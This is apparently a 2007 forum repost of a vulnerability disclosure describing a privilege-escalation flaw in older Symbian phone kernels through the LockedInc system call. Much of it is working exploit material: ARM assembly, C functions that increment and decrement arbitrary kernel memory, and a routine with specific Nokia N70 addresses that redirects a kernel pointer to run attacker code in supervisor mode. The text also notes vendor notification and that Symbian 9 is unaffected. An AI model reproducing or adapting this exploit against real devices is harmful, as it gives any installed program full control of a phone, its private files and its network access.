Escalation of permissions in Symbian phones

Platforms:

Escalation of permissions in Symbian phones by FCA00000-at-yahoo-dot-es 05.03.2007

Symbian is an operating system used in many mobile phones including the new Nokia models and the Siemens-SX1. In symbian the programs are usually executed in user-mode. To access protected services they need to jump into kernel mode, which has unlimited power. Of course the kernel will not allow the user program to do anything it wants: permissions need to be requested. In particular, user-mode programs are not supposed to alter other processes or access the private filesystem.

Until now :-)

I discovered a weakness in the kernel funcion ExecHandler::LockedInc. Normally it is used to increment a value whithin the current thread.

The assembly code is:

LDR     R3, [R0]        // loads R3 with the value at address R0
MOV     R2, R3                // copies into R2
ADD     R3, R3, #1        // increments
STR     R3, [R0]        // puts it back
MOV     R0, R2                // tells the previous value
RET                        // returns

The function is invoked as User::LockedInc(TInt& aValue); that is inside euser.dll . The code simply does SWI 0x8D (For a complete explanation. see "Crossing the Userland" by John Pagonis)

Because of the way it is invoked, it allows to choose any memory address, even kernel memory. All we need is R0 pointing to the right place:

TInt addr=0x80400000;
asm  ("MOV r0, %0" : : "r"(addr) : "r0");        // setup R0
asm  ("MOV LR, PC" );                // come back when finished
asm  ("SWI 0x8D");                        // simulate User::LockedInc(int &)
asm  ("nop");                                // waste time
asm  ("STR r0, %0" : "=m"(addr) );        // show new value

The only problem is that also increments the content, but with another SWI 0x8E we can decrement.

Of course not all memory can be read/written. These are some interesting addresses: The ROM starts from 0x50000000 and can be read, not written. The addresses 0x00000000 - 0x3FFFFFFF do not exist Starting from 0x40000000 there are 8K of static shared data The kernel data EKern::SvDat lays at 0x80000000 The kernel stack EKern::SvStack is located at 0x80400000

After writing the EKern::SvDat it is trivial to jump in supervisor mode to a all-powerfull routine that yourself program. For example, when the processor is idle, it calls the NullThread that will land in ImpHal::Init5 which in a Nokia N70, does

LDR     R3, =0x8000047C
LDR     R0, [R3]
LDR     R3, [R0]
MOV     LR, PC
LDR     PC, [R3,#0x18]

So I can write: at address 0x8000047C, value 0x80000480 to set R0 at address 0x80000480, value 0x80000484 to set R3 at address 0x80000484+0x18, value 0x80000500 to set PC at 0x80000500 , a powerfull routine.

I would use these:

TInt IncMem(TInt addr)
{
TInt value;
asm  ("MOV r0, %0" : : "r"(addr) : "r0");
asm  ("MOV LR, PC" );
asm  ("SWI 0x8D");
asm  ("nop");
asm  ("STR r0, %0" : "=m"(value) );
return value;
}

TInt DecMem(TInt addr)
{
TInt value;
asm  ("MOV r0, %0" : : "r"(addr) : "r0");
asm  ("MOV LR, PC" );
asm  ("SWI 0x8E");
asm  ("nop");
asm  ("STR r0, %0" : "=m"(value) );
return value;
}

void WriteMem(TInt addr, TInt value)
{
TInt currValue;
currValue = IncMem(addr);
DecMem(addr);

for(TInt i=currValue; i<value; i++)
        IncMem(addr);
}

main()        // replace with HandleCommandL or similar
{
TInt addr, value;
addr=0x80000500; value=0xE1A0F00E /* code for RET */  ; WiteMem(addr, value);
addr=0x80000484+0x18; value=0x80000500; WiteMem(addr, value);
addr=0x80000480; value=0x80000484; WiteMem(addr, value);
addr=0x8000047C; value=0x80000480; WiteMem(addr, value);
// wait until processor gets idle
}

So we achieve to jump to 0x80000500 in supervisor mode ! Use GCC or Keil to compile any useful routine, for example to increase the permissions of your Thread. Then, you can override the TCE and read any system file or interact with the network.

There are several problems:
 First, it can only increment the value. To set a given value, it needs to write many times. If the current value is 0x12345678 and you want to write 0x22222221, then it needs 0x0FEDCBA9 operations. This takes a long time, even if you optimize the code. At least needs 20 minutes
 Second, it can not read a value without modifying it. This means that some critical kernel variables can not be read because any slight change will make a crash.
 Third, Symbian uses pointers to pointers to pointers to pointers. This makes it difficult to analyze any data.
 Last, every model is different. Kernel memory addresses are dependent on the kernel version. Different firmware version also changes the addresses.

Nokia and Symbian have been informed about this. They even replied.

From my understanding, this bug is serious because any program can do any escalation of privileges. I haven't verified in Symbian 9 ; only in previous versions.

So, be carefull about which programs you install in your mobile. You might get nasty surprises.

Thanks to Eric Bustarret for his great informations at www.newlc.com
To Vovan888 and SERRGE at www.oslik.ru for their great ideas.
To Jane Sales et Al. for the book Symbian OS Internals
To Siemens, for making a fully-open mobile.
To Symbian, for its great design. Even if their OS has bugs, it it really well done.

Note from NewLC: The weakness described above is known to Symbian (we have verified) and doesn't affect Symbian OS 9 based phones.

Escalation of permissions in Symbian phones

Could somebody explain what exactly is it that prevents this on EKA2?